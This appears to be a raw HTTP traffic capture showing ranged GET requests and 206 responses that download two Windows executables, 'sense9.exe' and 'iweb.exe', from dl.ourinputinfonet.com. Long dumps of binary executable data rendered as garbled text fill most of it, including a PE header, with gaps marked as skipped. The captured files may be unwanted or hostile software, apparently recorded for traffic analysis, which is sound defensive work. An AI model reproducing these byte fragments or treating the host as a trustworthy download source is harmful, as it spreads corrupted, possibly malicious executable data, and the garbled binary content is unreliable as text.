,...,.i\..._......... *......`<A)3>..Tf.....8..x.O!.7.........L.
......>}.n......O....K..........r.?.3/......rU.B [email protected]
...].g.......Jl..|[,...$..ydx...J.A..,.%.m..=,z..Q.U.z.[R.....y%..%...
....m......... ....N..h..;S...CBi~.NL.-7..]f.1.}[email protected]...?!.^.sRv..
./.d..9../..p5....^....DJ.1.O.( .....v.e.}.hDn....z.... &.W......3y.d.
.Eg.5..=^~.I.....g...^Q..v~..........{.<...,..Y....Y.?c..l.Ee~."...
Xf{..ol7c.....T.xu.Y~."...6....M........G.4.l{|....;.(..*....1.t..f.F0
..b.z..B([email protected]..
.sI.AWX.`E...cH.....9........C....|..5.8..C#('.... .._.1-.!....)%.
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=432
Content-Length: 250000
Content-Range: bytes 4500000-4749999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385906.dop006.am4.t,1430385906.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
.d.I..S.......tQ..zv.(.....!... ..............GBj:\...g...6........8h.
...r}U.NmG|........bb.PuE..@(..s:D!..61p....}D.V.\...2.X.y..7.W....."a
..AM|.......U3!....)S...y...K..I..6.%...N..#d.....dt,?r.~.g....1....).
.)c..L...p....C.z...f...1.......`'/.L.~.......N|?2.. ec%......X...f..s
#[email protected]~y:....7])...h)...v....yB.d..=1w.aKr....E
.....O..&o..%o._...NZ......Wu..s.U.....{x...y. [email protected]....
>.`..Z\H.d>.y].n.-x........S..U..Zq......d.d.h...|9.:|.!.H..>
[email protected]..?.v.Y..c.7..-.F.R..^...,'<../..
G...@s....&v.B....g....y.rQ.U C/1I.p<-'.v...IS.2....".1eu...R..W...
.._.V<>_.h..{..;lx'p.t..A).U..S....X....3.P.,..0...".&........).
.}... .-D%.@..<utd....Y.0%.K.........3s.......... .%U..t.......<
 .*.2}.s...V.._...*...Ty"...Y0........NmW.....N.5..`Sf^.Ej...Rogb...B.
.e...|.W....[.Qh"....?.].&.....)\.2.......i.Tp.3.....[ZCZ...z.,.<*\
.YI./..D._T.... ..;..H.....P@?...:b..d..T....r......`....K..:.....b..1
Ah..U...N4.;...)(o..$c.M.9....29!cz.[..")...I..2e.Z..D.7.........#....
...C-....y.......q.Wt...V[..y|L}8.ts.Q..2...k.e.D.U`... .7...Knf.{#..&
7A.Zr....?5...Rb '........*..L9k.3V...\.. _D.G1ww.uZ.w.&8d..p~0P.! ...
\.NA.....E...VX...ky..u...n.%W.A.m.9..v.G.U.~...f.=.V\q..). {L....smR.
.2d...eR3..R...].R^.O.._..y....5... #c....!..g9.i*.J..M..x@......|._)P
:...}..".p..;5.. x .k>...P$.....WD'..%..K..^....j..i....<...gp.m
...z.Ix..u...F.w..I.].Q..BjI...W...=......c...ImD....O4..L|E.h.....]..
..R...f^`.Ou.h..th.5...?..?.....j>.j..=PYa.,.1.......6....'.|.~
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



....K)4.s..zez!.Me5..>..:..^=..E.[b..{.........KW.=B....Fylw.(t.^KE
...P.T.M.....iu.|.q...9ax9...`......(.T.r...Q._?.....j..<...hw..%V.
...>..N.....i..ra.. ..D...L..a.N.<.x..7...8L..k..8..r..xg...zI9.
..ET...fq..>u.......#~..E.....][email protected].......^. .W..4?...V..5JH.
G}.N.LR.................}^...I..W.[...a..n"9..T:K:a.{&........~Z| S.%r
..C\s..p.".>bq<.:......A.|....f.Z.......<..g.-...0....PX...;.
....n.C.-....=.YB.}x.qq.....y.e>...Y..j.....S-.ER.O.O6..$...^.....&
...0C.r. .......>...X\.\[email protected]"U.....k.L,...,..sm.c.N...`q..
....a$.I...w..\...k....Yk.....Y..c:.. ....R}R.._RYnbZ.`L.?.?....<.`
.>.....#";...n;z.cK8...{k..H[#.b..p... .Y!b.$p.._.d.d&.../..z9.....
h..F.U.*.n..H_....j........"..!........p......{.{.,.Z..#.Mr...x9.R.,..
...|.K.f..9'..G.1........;0.aN..i..o[..$..4w.%..?......e|.V\.gl.}.....
"......2.L 0.9.t.8...=.l....(.....|<.a3E.;..Y"....XB.x..A...a.|..".
..v..iDB;}|).N..s(Ks..o.z.0.......[F.5.,....N..].[.0Q.UBx.-..hm.T... .
..y.Sm..i..^^..C^.b.wo...:..B.F.l<.e.vmq.C.u.>....=...z..f......
k...M....$.....S...K..,_....NV=X.W... ..#|.....p...}i.=...Z.R.a....}FJ
n.Ef.|.w........A&...q..!..e..3d..T?1.&...CR.a..K...cw.x_......9).D:..
..r....G.....KIbv...c[..\..Z.....EA...4.............?...=.3....K.X.?..
..%...4.f......f...i..T.`b.~....B.....N..A....v..............s.y...s..
..>X...4...5.K(.WPY.!.'y<.1...Nb=a..*R.....v.-..../.uh ....T.u..
C..Hv..>.Htb.9.dP.7....._h......5.u,A(i..[.IZc3k.Ba....S.I.. H._.g.
...U^...H...v..r...E.....`."r?7?.*.f...cL......... .Z....G..kM.X.=
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=432
Content-Length: 250000
Content-Range: bytes 5000000-5249999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385906.dop006.am4.t,1430385906.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
m..;....>..?.o.d...~...O'.^n..B.c...H.sv0..=..c...0,.6..e/....~/.D.
].D<0.Mt..f.RT,.g....J.d.].{.j....s.n..h.d....J.<.....q/LL....O.
R.S/[....Qb.%u._..#hl...-.....n.R...U.......t........].G...b......sU..
....&b.M...S.......L=G%.q...8..n..].)I-......`..%".{bL.i....... .5"..o
#P..A..I...Q .........H...34...L ..O.tC.{.......e..P..eKw...b.q...z{.D
...J..%../..4.|bE..V..w........9g.j.U..a....h...q.....ljdY..(7.c^h....
 $<.....-d.....kG)'.L...hHs..Mttxz..03K6..m...@.~.$$......*.....j.e
.t.\..q.1`.>. ..r....<...Xa.O.{.F..8z...x$c?Q........,[email protected]
..c].6a...'.]...*..`.t)..c...........Ur.`.NDw....~.....W..:GS...V5l.p.
........2`>.S...A..T....7..!}b...t.B....t$=.$..8....O.{w\..P#]@..x.
...Z..fq..m?n._......0....[6._.#.q.,.....eY..mh...>.!u|q....L.nR.8.
.......=....v-..2a..O....'........V....0.f...Z ..k.6{B..7......u..E...
.08..t..D..?..)..{..w. ..Z.......8$<..far.K*....<.Z.o....z8.Ql..
...?...|.v[Jx.)Dz,v.....#.*.a#.~......L....Z..<..tHP...wZt;...5..f.
/:.uA.:...\?.....!......b......R....~.F.U!..n...[.....q.CBnbM...il..SD
.R.0......&h..n.N.4Kc.W.Zn.M.Q.&...U..UP.q9hIk.......qH.2(......`c..u.
..AR.w.~..[S..yqPn.1..vE.....Iu.".oe...7..j..U~.m..........D,..bk..i.5
..d8......N.r...w.....t...6.Y.=.!DK.....@.*5q ......ZJ*......<.....
^B..U.y.. .....`..(z.(...YL...N."j.fOybC.QM!.......b..s...g.........&l
t;..C..Ef.!h...pz.........eh....x.Y.<ug...L..Gst.A.D:.gX.wd=.......
..-uR.%.7?...WL...i.M.^=.W......v...H.mi1...?.=:../.....u i;.p...i....
.....O~.....BB....[)..^.JY.-....1i'....J.H....^5w.O.e{...w..~.>
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:07 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=431
Content-Length: 250000
Content-Range: bytes 5500000-5749999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385907.dop006.am4.t,1430385907.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
....


GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:07 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=237
Content-Length: 250000
Content-Range: bytes 6750000-6999999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385907.dop006.am4.t,1430385907.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
[email protected]$......._.*)[email protected].....\..C.,..
.l.}..|.,....h......UF.{.R...6.H.~.X..|tKusb.(h.R.(........V..4.o8..m.
p...*4..|."..\ ...db.~......B..hbF.h^.L\iL.5..#e..........0.5.e:..=..I
.rg...q...!NU..........98..)......U..?.N...h..)0.%....-......gs......D
..H2`......J...~..ZHnX..i0.....H.aY.L.q...s.R.pp...?E$...}^.......<
$......2...$..].$P...._..W..$.......r...vhuC..S........./.Bb.,Bl.....s
d....gP.`.oa..q...;..Z.Ie..[Y......r..l.=........T........M."....#"...
...;[email protected]. ...>X.3...J.......%.E..LbP.<..D...(..
.$.?.;l.........?....3z.4.&.&C.?^.......I..2...k.i..76..`............9
v...q:mp*U...*.c...Y...x....#.%..Z.......F.i.<.w.....?x.n..Q.8....G
.M..\.....e!.:.\!.....g..W..qI...C..j.V...v.#.. .....G.|/...t..=w`.3".
...<U..Z.G......}.Z..8.F.=............qt....zi.^..`..]..x.....g....
.F.Mu.w...Jc.... P.....s.. ..HmG..1.......ue.....}[m...?....i[..k...C.
.LN)dM.E..T.... .Ct.j1.O.[w...*...m..S....4.N.k.C.I.........=.;....N/.
~c..s....H..^.f....1.k.[.H..k...v..%..3<.*.F.YTa....Cs.?......?..G*
E...V..RI...N ..q... .`*?.........H1j..p...)P8.....F......b|......Q...
G...."t..?c..~......C.....U.@...."....l4-x..4'4..>].......6.l....2.
cB.s..k......w'......iv..js.T...vX..XP..`...~...@a5..%;x.veC.W.....fq.
....f.....u..nL.V...lS.F.(.`D.{.S......H.....-..u. ,....hNg......X{...
{e;..N^.......e...3...4..].......o..(3......../`O..........Y.La~jv....
.....)....g./...5.. ...jqVk*j.R...F...h"...............U.........q~(..
. ...m....@.*.4<.3.Q`...%.'....}qI......~...(.z........U....a..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=7500000-7749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



.N......*0..]..N-_ E.sZ.ui.l........A4....s.pr.a....K.V.mJ.F.....P...r
`d.B..-..P|............hw.m.j;5.M..C.k.(.k..Z.......5I{.p.....x.>..
uG.....!J..V....u.t.`...x~ .Q....9...X.9T...| O......7A..2......B5..T.
xU.......5D..T.)...c.K0...o.Kz!.....................I..#.o.~....V...Vq
sM"......:.U...I. .0.'Se..Q.O..........%....,..........Vk.M....G......
...Fc.l.8..V....{.a......t.9Xe...Q.RTg...X...DTK2..>3.7.<..?..9@
.C#U..P...?,7L..2..-P.1.L.1.".5bWDc..bR5......[...B..rz..x...W..]"..R.
.^[email protected].%2w.g.7.V...|.]..FY.......y~w.Iy..,.....,..._...6r
.x.....h3..D@1g..........>E2.o.3..n..9..[t.]........i.M.........F4.
}..{.m..Sv.P.)s...d.1;.....].,.{.......2 .....*n..F.|.6.4..Z..Kj.....?
.......=..._... ../........g.IYn.0aB.....O.@......[..H...%.H.(L..ouf;.
...gz...3......."..k...e.50.&3.%"5....y...C.2....F=H..t...uF..jS.<.
..:oA.oCV...TX.2...%.$.]...}oR.T.5...>./..j...J..'.;.0.....:..}.}..
n...8.m.@E/[email protected]..<on.j*.g&Y.a4rrf"....Q.......c..R..g...O.o..&
gt;..=....m.......a..'...REY./...E_9oG.qJW.L...F......)..M.....x.?u.E.
......%..?r..*.....31D.-%.......o&f..#....R..........8.......,E....C.v
Ph..S.............qfZ.Pr{~AB.`..P..y..,.M2....?..m*m.....w...........L
.T.....E.R....I......h6R...k..f.[.2N.....q...5......l..!.....x.h.m^..]
cTD...i...........}R.9PS.x....3^....3..lA....9T.l..h..X.....R.j.B.:.L.
)..k.........w.rr.T.z...S.C.R.........j.;.A..;...._A1......TF.W.TN..&g
t;...C.O..- ....Wd........!.P.(..y...x.f...t...s.E.;........{.tL^.....
o..U".2..*....C.. ..R..G....e.8h.e..=.D..v...G.}Q. ..$(....y...q..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=8750000-8999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=9250000-9499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:09 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=429
Content-Length: 250000
Content-Range: bytes 9250000-9499999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385909.dop006.am4.t,1430385909.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
^..(...Ck...$;k7..%D....R.N......y........a."...Z5Nx.!..c...4.....Iq.[
.p....H...H#......}....E.x...3..E..3........T..|s......z...D.X.~.X...q
.$.e=q^W/..:d..d3.gg... ...;m'?F.q.......zj}.......}.'...x3U}.....=M..
%&br.I/....B...uc.._....p.i........[.r.pm.6.<r_w....V....y..q7>.
obOLV.\...p..._T..<..\.\...1.-..!.}..z..ak. jK....;......4..)......
.y....=.......U.. [[email protected]~..........@..\.B#6Z..t.e
....>..R... .[.(............L..sC..,|.A.{v..8.B..r:y2...:.....c.h..
..6..4O.xl'.{..*..E.? .....}.7a...lS...z.%v.Txo.,.rwB&.|.........l~/.E
.kS...a........z... li.a/..?....|G&...i ..G(..%..*C...7.....i/......&l
t;6*r....f=,.......F..?.#....Y.B2}Y70...S...........,..7..l{Z...[....X
.............p.v._..8S...AXXq....!Vh...]...:..]...............pO.qd..I
.........I..v.d.e....I..X,..5..i.N.$....... .Jg...As;.X3....6.A..P.
.r.-/[email protected].{(.rb..]P.fR.......u...5...xd/.....I.Q....
o.#.....`..`..b.Z=.[T........d..`%.D..e1............z.7.V4.......g4.&g
t;..........}..>...U.^5.?......k..t.z../..'..$...J8........e.0....K
....L...:............?Q..~..3?.I.A....bk...\.L}.z.g...HR.YS7l..]*.s...
u........2.e..-...[Z...."..s^..........h..F....q..~....$.....`....mN..
..8..qd...w.t.1....c.....q.y.ME.0....Gl.....P.h...(M-..........Xw...v^
.....<.:.4.Q ...m...)[m....K9.......Z6.@...~s..S.}b.....i......J..q
.x.Ig...!&.,I ..8..$.FE......G...:.........z...%.O?l..=.a.UKn....o....
.I,1.Vun..2/I%X.X.Mf....Z..!..K..Z;N......N.....egAw....>.J....p^.)
.pn...g8S.G'`.T.C...P;..t5.rPy...BW.......<..... ...!..K......}
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=9750000-9999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



Lu.uHO..T}.Ee.....xju.._...<..,.J;.e).h.Y.....S..b.vnf......_N,:.h.
......L...9?9..{.Hg......lI......;.).y.z..X.......4J.'..G.n....8... .7
|....~....i#.M.R.X....1....3b...........).[.VX...]8[....o....V..B.....
......Z.W1.~.;It....H.y.....:.$CL..L~.........j;W........\.......V.[.h
..w..I.*......n...,<"./Bs...[QT(P0.W.$*H.4.A.p.Nm.....,Nk...x~%.M..
K..c....g.[ ....Y.)..........'..D.w.}.U.z.j....1..6...Y.i...,..H..P...
...``.....Z......d..6...g.as`*.QS$.T..{}.M}g2A0Ob|;V1....[....g.*.Qg.)
.kQ...O.UB..`...7w...-...G..X.^.NW7..[.~...b.!.......zC..,.h....E....0
[email protected].<.ET.._.k....#u).....Ru..s.oS.$m..u........4..a....3..-
.q.z....0L..M.^[email protected]>3>..U..
.zz..?VY.'...M...o=\.W..Q..._.......o..h.....G........z.v.cVt.....P.9.
Y....f....t... .t..?-B.)....3(.h@.........{C ..x[.2:..._m...$..U..6.c.
....$,}..Z...|}t.B./..de..Q......y..:.62.....GD......x........;J.RXb..
c....M.l.$X.1....8..4.........q?\4.{.s.a.Y.?.oC.~>j..8.x(.(.Y...`..
.....>..W..;...KN.M.[..l.....a..f.s.z.....D5.}..h...@%U..G..D....U 
..H=..oQ?..........KE...B^g...a?qgR.P& j.&.&....!...y0..^..j.......f..
.M..9...U...<0..*.....v.K....T.$sX#..<fy..4.X...el..H.sNF..Q}...
......w.E.[.C..[.....R.9.TV.3......p......HG.%.U..Pwoa.V.r..i..8${h...
.^N.GNW...=.......G..gEq...v*.....o.b....?..}..`..=..S.H(]......n...n.
....Q....H..['y.do.b...jl71.!....K.....K..{..a.r....e.x..7......;.....
W...&\..v..Y......zN..B.A.....2..3.2...3.T...Fr..k.(...6..S.....E...I7
....=......p".g\h./.BHVm.....?...].o..U.."-..........=.......'...G
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=11000000-11249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=11500000-11749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



....%.o..$.GX....Y...Jd..%Bz.$..7M.{1.R.....o.q......%.R7.....U7{5s54.
`....!...{...7H.h.Z...e.3..`..I.4..vP...........9..{.......JuC:......J
..........Q<.9........C....!.CO%.}...=h....;.`....^.F..j..Z.O^3....
.F..d....,oMV.7.z...!O.5..08....Y.._k...1..X...=.@!O,.N.9.iD.._.......
.*O\.}..!..c.......}....*.#@.."r.i.%..~.K!)d..~.N..$pX%..E.p..Z 8...O.
.X..8.. .. .6.G~..S0....:.X.W.N.......j..}cU..8j8.\.^5.:O&.m81.(..!...
:YY.`l..q.":...uT......!S>..d..s!..X."[email protected].
..z..0..h.-.i......o.S..s.VY.B... `..%N.....{..z.Mir....U2......W.Cu.?
y.......f........9(...)N.p}.[...6kXo......7...`....k.lV...x.p...mJ....
A...c53...[.s.3._.x..f..N2......&.3.a....Mt;$..w:....8....*Xel..^...7.
.....'...'.;Y.Q....a.6....2Vn...P.rK...............^.O}......6...x....
P..D...Q...bU.........w..i.v......q.07.CB ....!..O.r...3gT.CC.g|3.....
...w..6......c....P..~[c..".......Z.3..gh-.`-.G:.S3.f...v.`.....I.....
[email protected]$...1.....uEw;.)..&W....Qh..v4.6#._.l.._$( ._$H .! ..
.X...B....@.{.....5r...=I.7R..MhnN....2...:...#.....>...C.....f.*.:
g4......2yG9..w.oT.{..I.....^...."..VUy.T..[T........W.fm......R...l..
.../..:.,.;.......P.}...{&...K.. [8w.....";...Z..y....vO%...=.s.9..UAd
..........c..F.....A..4...JgQ.2.i/=.b......fz.AI!.L4&.3...;'...%...5..
...Z......xO.>...K.!&....G...S..9.....=.,f.....'9.....t_..H.<5..
g...|...0...s..%..n`[email protected]..<U.%O%..I.v.K.J..~p.3.ou..eX..*..-..
..S;..s{....}}].:.5...".w=.....y....1..5..J......J.....B.....D.....i..
.H....S..K..esD.|&n....x4|..e....;.....o.*..1..#...D.Z.U..nL,g...@
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=11750000-11773822
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:11 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=427
Content-Length: 23823
Content-Range: bytes 11750000-11773822/11773823
Content-Type: application/x-msdownload
X-HW: 1430385911.dop006.am4.t,1430385911.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
........D.S.f.......`8.P.g1..z.=...z...8.....?.....J..W.k.W.i.kI..H.L.
]..O......q`%M....T.{\n..g..........f......^E..Y*.H.7..p._..g...a.._..
..$j..WLt.,..a.>[email protected]!..../......x.!......)0...8
.x..;o..s... .7...-/......*......`\rc.Cf.P.R-....4%...@..~c..=...}.c..
.`..9..(..`:.t.........sFs.K....f.L...(._.&.L..`0!`B...3.L8.x0I`R...Y.
..f9..`V.Y...L).20.`X0.`j...i...f;..`v...f7.=`..9.. ...0..`N........0.
.../.x0.........n0.`BD..L)..0;......!0..\.#.q...e4:0..4.9...... .Y<
.R0;..4-(x....h..IA....5e. [email protected].*...e..........`..}MY.;Nq.Ck.V...:...
......\9.(........C..7aY!E.e.l1.. .A...g..w..c:..y........D.?...VRX...
.A;..H.....f&.5.@z.$....{..a.-....7...D5`.......s?......C.w...L>...
K......f......q7...\Q........Z.R..`M..0..Q...K...........7.......lG.Bx
...C.l(w.........`[..Dz).........x...`w8E...........Ek.*..a..U!.4G._qi
[email protected]....)4..k6Tl..B.....J....XmLcV/[.|.H..[{...."?#.J..Vf....kC.7..
b...!......a .<..Y....du.."...~..=..&*..........6....v_..HT..(...s.
..Z....K....?......[..'..._Y2Ypu.....CR...T...2...../ ...........\YY..
.H...P"h..o...A.'<A.....]..?.....Y..!...4F....n.ot.z......g..=.y...
\iC...n.....9@6..........^.........W.........&....9....?.s...l-..?nih|
..&~......;~.._.|..........g...........~...?.......C.}.o._~...W_{.....
.5.h9.Vk[{...O.s.l....^...........|.Q...|...._.._........|{e...!..k...
..dd^r....r.X?..8.f......&.M.mj..wL..~....w.=..{.f......H..*:&V.g.OH..
T..(.%...5. [_.....*....z.. W........jj.......u....4.. .c.<&.......
I.=P.1....-.|..T.pH:P).YIGC...7~^.NMu.Q..............Y..Pw...BIwD]
<<< skipped >>>


GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:03 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375530"
Last-Modified: Thu, 30 Apr 2015 06:32:10 GMT
Cache-Control: max-age=435
Content-Length: 250000
Content-Range: bytes 0-249999/11773823
Content-Type: application/x-msdownload
X-HW: 1430385903.dop005.am4.t,1430385903.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........8C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected].
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



57 @.D.5O.Z("w....n..Q..a._.`J.....[[email protected]......
.=......}.....i.`.w8X*^.l..../.\0.w.....].Z.N..M...HBDFz.x.$,sY.H.....
!.T.y..n.........r..hl..)..{P.gB....m:..\.l.....`.......A..s.k...<.
.?<.f.kY.f..0>.}y...e.d...T.).....T..f...Z....1.Z......y.&.R..i3
o]jZ.IA.*.%H1..V.4...<x.}s...4...}=..;....h.....=T../...*...|......
.p.o...X...;.4.B.CK^...$.B...&...B..[@....\.?f<M^9..,.6.[.S..F..(.q
O....-......e:.";y=b...kC...d.......1...l... UL.4........._..>.i.`q
....Y..$..Y.G...?;..2...n[W..`.P..w....y.`:....iN.R..0-.....g...c!....
.....#.P...*....0(....q.z.!....}.....G.....y..U....>..!$6.i.....m."
.c..J.E.m.....I.pU.0w.Y..;n4JX........g....n.)k..8..o{.u{.xb...a..~F..
K~..E.foh.c`....Y..=az.. ..Q.......2.4..3.K..)_K./vd{:S.....6...=N....
.F.a.!1...(.~..|y.\...ZE....`..6..v..V..~....8|....W...4.. Uk`!....a..
P.../o..nF.?..*.p.|mG......\T..-.ub..L9....m...pr.OP.....$..Z-. .1..0j
...:[email protected].(..d2...>z...#...=...er........?..u.....bi.......`V
......^.....5=h..M..."..c....)......].......}xl%.2T......a......P.....
....\.>$G.......s...... .Q....Sw...z7wejO.*........CH...|~B:....D..
q7W1......i.R^G..X6..<....v...).G..ZL.37.s.H..E............wK.....K
.&.A...]...f.?^.:'9......e,E.......[.*...?b>.H.8....<.0-D.u..3..
....J.....=............ ..3......Rf..H.ic$..W..Hc.:......k3.t.-6...:j.
..f.h.8...2.:.}C?4..[.,..L?Q.r......L...x..."..p7.k..N"..DN...........
$.a...... .}.d{a....~.V..1......m.:..K\....y...[.g..........t.aI..FkT.
r.E.og....-6un.....0l.=6G_~jC....1..'.vg...=cc6.u...t.G._.8>/..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..j.p..%(.&..r/.lA_Tf.q...M.(....:.1p~'..7s..E......AW<.s.R.c.Z...Z
.~.N.@.:{[email protected]@.%..".../.w.n>..\8..n..3}v.....6.%~.....8
K...`}...9<A/......X.%..Y..m.$4.......~..m..["1Y.t hR.0.......LYE..
.z...V.2...4.c.^...........~...c.....?...x....Z....(........~8....2...
..u8....x.hR..9..r...:.%...t2"w...D....K../D..s_.B......U.......m.. ".
.l.A...e^.....YiE...""'w_.!...H..L....."....M.H$!...0q.J...S.......~..
7...Z:.bO...d...bA.}........:|e.yc....IN.'9...._.KR.>.I..j..t..10.'
.6s..}6...PW.Y|n....tK.L2.3.. R.t..;...].0h-..G-c...........l...p\....
[.y.)... L......=..^X...|..:`R...y.&.Z.......c.D...R.....G...(tK /...i
.o.pp8}.QDVe~.u..q6E.V...i..m.#.._...NL.....5@..*.1...j&...`...%VwF0.4
W.....W.{.3Z4!....{.......q.9...3J..U..\.9.Up....i.}B...1K.(NF7.....Mi
6.n.h...t~ ..&.^.r.u....3h.HA..........*N~.....X...A%.Bm=.6h.......-:.
.0...^F.. @.*^m.K...#.w............9......J..s., ..@D}....*....%-{.O.[
..#........."..z.h.J6.SN.j7.....|..s..i"i..yj,......wZ...j... .....f.=
_~..P..........}.'F..|..;'5)mI..?.azC.aL..i.....f...f:.g.f..|:.I.3.q..
Y[rHO.qzEn....F..`........?..\.,.[....$l.2......RB#.Y..o.....w...nK...
...,.I[....|.H0... .9...D}D...P.r............B..T...<....&..[S..$..
...=,..._1.I....>.c....bm.{XE,W<w..:9...Z.r....&...3._..>c..4
}....(G..N"^....._. bs.....Bl|.....LeZz../I.....g.. jH..U.# 3[.X.....f
...C..."I2......q.....P...9........kp..l(mGh$....._....w......i...!.r.
..4f.S#..43........Z.&...w....C....6F.T.,..!..B.P9.|{..t4..yBSH.....3U
.9.1.e91R.T.=.... .-..tG..|.#.!..7.DR....7p/x..0....L.uf...3...5..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=1250000-1499999
